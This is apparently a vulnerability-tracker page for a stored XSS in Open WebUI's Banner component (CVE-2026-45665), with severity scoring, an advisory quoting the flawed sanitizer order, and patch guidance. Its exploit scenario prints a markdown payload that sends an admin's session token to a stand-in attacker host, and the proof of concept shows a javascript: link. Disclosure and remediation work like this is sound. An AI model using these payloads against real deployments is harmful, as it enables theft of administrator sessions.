Skip to main content

Open WebUI CVE-2026-45665

| EUVDEUVD-2026-30664 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-14 https://github.com/open-webui/open-webui GHSA-cqp4-qqvg-3787
8.1
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Compromise admin account
  2. Delivery
    Authenticate to Open WebUI
  3. Exploit
    Navigate to banner settings
  4. Install
    Inject markdown XSS payload
  5. C2
    Save malicious banner
  6. Execute
    Wait for Super Admin login
  7. Impact
    Victim views banner on dashboard
  8. Step 8
    Victim clicks crafted link
  9. Step 9
    JavaScript executes in victim context
  10. Step 10
    Session token exfiltrated
  11. Step 11
    Attacker gains Super Admin access

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attack requires administrator-level privileges (PR:H in CVSS vector) to create or modify global banners via Settings > Interface > UI > Banners menu. This means attacker must have already compromised an existing admin account through credential theft, session hijacking, or insider access. Privilege escalation occurs when a higher-privileged user (specifically the Super Admin or Primary Admin) views the malicious banner and clicks the crafted link (UI:R-user interaction required). The vulnerability affects default Open WebUI configurations where banner feature is enabled and markdown rendering is active. Exploitation is limited by: (1) Need for pre-existing admin compromise; (2) Requirement for victim admin to actively click banner link rather than passive exploitation; (3) Victim must have an active session with stored token in localStorage. Attack does NOT work against unauthenticated users or non-admin roles who cannot create banners. Social engineering effectiveness depends on banner content plausibility-generic 'click here' links may raise suspicion, but banners mimicking legitimate security updates or system notifications increase click probability.

Impact

CVSS 8.1 (High) reflects significant impact (C:H/I:H scope change) but contextual constraints reduce immediate urgency. Attack vector is Network (AV:N) but requires High privileges (PR:H-admin account compromise) and User interaction (UI:R-victim must click banner link). The Scope change (S:C) correctly models privilege escalation from lower admin to Super Admin. No EPSS score or CISA KEV listing indicates limited observed exploitation; POC is public but requires pre-existing admin access, limiting attacker population. Real-world risk depends on admin account security posture: if MFA protects admin login and insider threat risk is low, this is lower priority despite high CVSS. However, for environments with shared admin credentials, SSO-only authentication, or elevated insider threat, this becomes critical-session hijacking bypasses MFA for already-authenticated users. SSVC assessment: Exploitation=POC (public steps), Automatable=No (requires social engineering to trigger click), Technical Impact=Total (full Super Admin session compromise). Prioritize patch if admin accounts are high-value targets or compromised credentials are plausible. Note discrepancy: CVSS suggests network exploitation but practical attack requires internal admin account access first-verify threat model alignment.

Exploit ScenarioDerived

An attacker compromises a lower-privileged administrator account (e.g., via phishing, credential reuse, or session hijacking). They authenticate to Open WebUI, navigate to Settings > Interface > UI > Banners, and create a banner with markdown payload [Critical Security Update - Click Here](javascript:fetch('https://attacker.com/exfil?token='+localStorage.token)). When the Super Admin (Primary Admin) logs into their dashboard, they see the banner displayed as a legitimate system notification. Trusting the interface, the Super Admin clicks the link. The browser executes the embedded JavaScript, extracting the session token from localStorage and transmitting it to the attacker's server. The attacker now possesses the Super Admin's active session token, bypassing MFA and gaining full administrative control over the Open WebUI instance, including access to all user data, model configurations, and analytics.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 14, 2026

Stored XSS in Open WebUI Banner component enables privilege escalation from compromised admin to Super Admin. A malicious administrator can inject markdown-based JavaScript payloads (e.g., [text](javascript:...)) that bypass DOMPurify sanitization due to incorrect sanitizer-parser execution order in Banner.svelte:103. When the Super Admin views the global banner and clicks the crafted link, their session token is exfiltrated to the attacker. Vendor-released patch available in v0.8.0 (2026-02-12) reversing sanitization order to DOMPurify.sanitize(marked.parse(...)). CVSS 8.1 (High) with Network vector, Low complexity, but requires High privileges (admin) and User interaction (click). No KEV listing or EPSS data available; publicly disclosed POC with detailed reproduction steps.

RemediationAI

Upgrade to Open WebUI v0.8.0 or later immediately (released 2026-02-12), available at https://github.com/open-webui/open-webui/releases/tag/v0.8.0. Version 0.8.0 fixes the vulnerability by reversing sanitization order to DOMPurify.sanitize(marked.parse(...)) in Banner.svelte:103, ensuring markdown is parsed to HTML before dangerous elements/attributes are stripped. WARNING: v0.8.0 includes database schema migrations requiring downtime-backup database before upgrading and avoid rolling updates in multi-server deployments per release notes. If immediate upgrade is not feasible, implement compensating controls: (1) Disable global banner feature entirely via application config or UI if business impact is acceptable; (2) Audit all existing banners for javascript:, data:, and vbscript: URL schemes and remove suspicious content; (3) Restrict banner modification permissions to only the Primary Admin account via role-based access control, eliminating lateral privilege escalation vector (trade-off: does not prevent compromised Primary Admin from self-attack); (4) Deploy Content Security Policy header default-src 'self'; script-src 'self' to block inline JavaScript execution from javascript: URLs (trade-off: may break legitimate application features relying on inline scripts). Monitor admin access logs for unauthorized banner modifications during interim period.

Affected VersionsENISA

open-webui < 0.8.0

Affected Packages

npm open-webui fix: 0.8.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Open WebUI is a web-based UI for LLM interactions, built with Svelte framework and distributed as an npm package. The vulnerability resides in the Banner component (src/lib/components/common/Banner.svelte:103) which renders administrator-configured global banners visible to all users. The root cause is an incorrect sanitization pipeline: {@html marked.parse(DOMPurify.sanitize(...))}. DOMPurify (an HTML sanitizer) executes first on raw markdown text, where [Link](javascript:alert()) appears benign (plain text, not HTML). The unsanitized markdown then passes to marked.parse() which converts it into HTML <a href="javascript:alert()">Link</a>. This dangerous HTML is rendered via Svelte's {@html} directive without further checks. Per CWE-79 (Improper Neutralization of Input During Web Page Generation), the flaw is exacerbated by processing order-sanitization must occur after markup parsing, not before. The affected package is pkg:npm/open-webui versions <= 0.7.2.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.1 HIGH
AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

DescriptionGitHub Advisory

Summary

A Stored Cross-Site Scripting (XSS) vulnerability exists in the Banner component due to an improper sanitization order (specifically, DOMPurify is executed before the marked library).

This vulnerability allows a compromised or malicious administrator to plant a malicious payload in the global banner. Crucially, this vector enables Privilege Escalation, as the malicious banner is rendered for all users, including the Super Admin (Primary Admin).

Consequently, the payload successfully bypasses the existing security mechanism. An attacker can leverage this to steal the Super Admin's session token

Details

Root Cause: The code attempts to sanitize the input using DOMPurify.sanitize() before parsing it with marked.parse().

DOMPurify cleans the raw input. Since [Link](javascript:alert(javascript:alert(localStorage.token))) is valid text (not HTML), it passes through DOMPurify unchanged. marked handles the text and converts it into a clickable HTML link: <a href="javascript:alert(javascript:alert(localStorage.token))">Link</a>. This resulting unsafe HTML is rendered directly via {@html ...} without further checks.

src/lib/components/common/Banner.svelte (Line 103)

svelte
{@html marked.parse(DOMPurify.sanitize((banner?.content ?? '').replace(/\n/g, '<br>')))}

POC

  1. Attacker Action: Log in as a compromised Admin account and navigate to Settings > Interface > UI > Banners.
  2. Injection: Add a new banner and enter the following payload in the content field. This payload creates a link that alerts the user's session token when clicked.
markdown
    [Click for Security Update](javascript:alert(localStorage.token))
  1. Execution: Click Save. The malicious banner is now stored and active.
  2. Victim Action (Privilege Escalation): The Primary Admin logs in and sees the banner on the main dashboard. Believing it to be a system notification, they click the link.

Victim Dashboard View:

<img width="880" height="245" alt="image" src="https://github.com/user-attachments/assets/b70d7f65-ab34-4634-9e78-2a8a7eda1439" />

  1. Result: The JavaScript executes immediately within the Primary Admin's session, exposing their full-access token.

Impact

Extend permissions and damage to the entire system. You need administrator privileges to create banners, but this vulnerability is important because it can attack primary administrators and other administrators.

Destination: Other Administrators /Primary Administrators. Attack Vector: Corrupting all administrator accounts (even those with limited scope if future granular privileges exist or simply credentials are compromised) could allow an attacker to set traps for the default administrator. The result: Unlike self-XSS or simple administrator configuration changes, this allows you to capture active sessions for the most privileged users and bypass authentication controls such as MFA (because the session is already active).

Recommended Patch

Modify src/lib/components/common/Banner.svelte (Line 103):

{@html DOMPurify.sanitize(marked.parse((banner?.content ?? '').replace(/\n/g, '<br>')))}

Resolution

Fixed in v0.8.0. src/lib/components/common/Banner.svelte:103 now applies the sanitization in the correct order: DOMPurify.sanitize(marked.parse(...)). marked.parse runs first and converts [text](javascript:...) markdown into the corresponding HTML link element; DOMPurify.sanitize then strips the javascript: URL and any other dangerous attributes/elements before the result reaches {@html ...}.

Users on >= 0.8.0 are not affected.

Executive ViewAI

Why It Matters

Open WebUI versions prior to 0.8.0 contain a stored cross-site scripting vulnerability in the Banner component that allows compromised administrators to escalate privileges to Super Admin by injecting malicious markdown payloads. When a Super Admin views and interacts with the crafted banner, their session credentials are compromised, creating a critical path for lateral privilege escalation within the application. Organizations using Open WebUI should prioritize immediate patching to prevent admin-to-superadmin account takeover.

Business Impact: High
Compensating Controls

Vendor-released patch: v0.8.0 (2026-02-12). If immediate patching is not feasible, restrict administrative access to banner management to a minimal set of trusted accounts, disable user interaction with global banner displays, and monitor Super Admin session activity for unauthorized token exfiltration. These mitigations reduce but do not eliminate exploitation risk.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy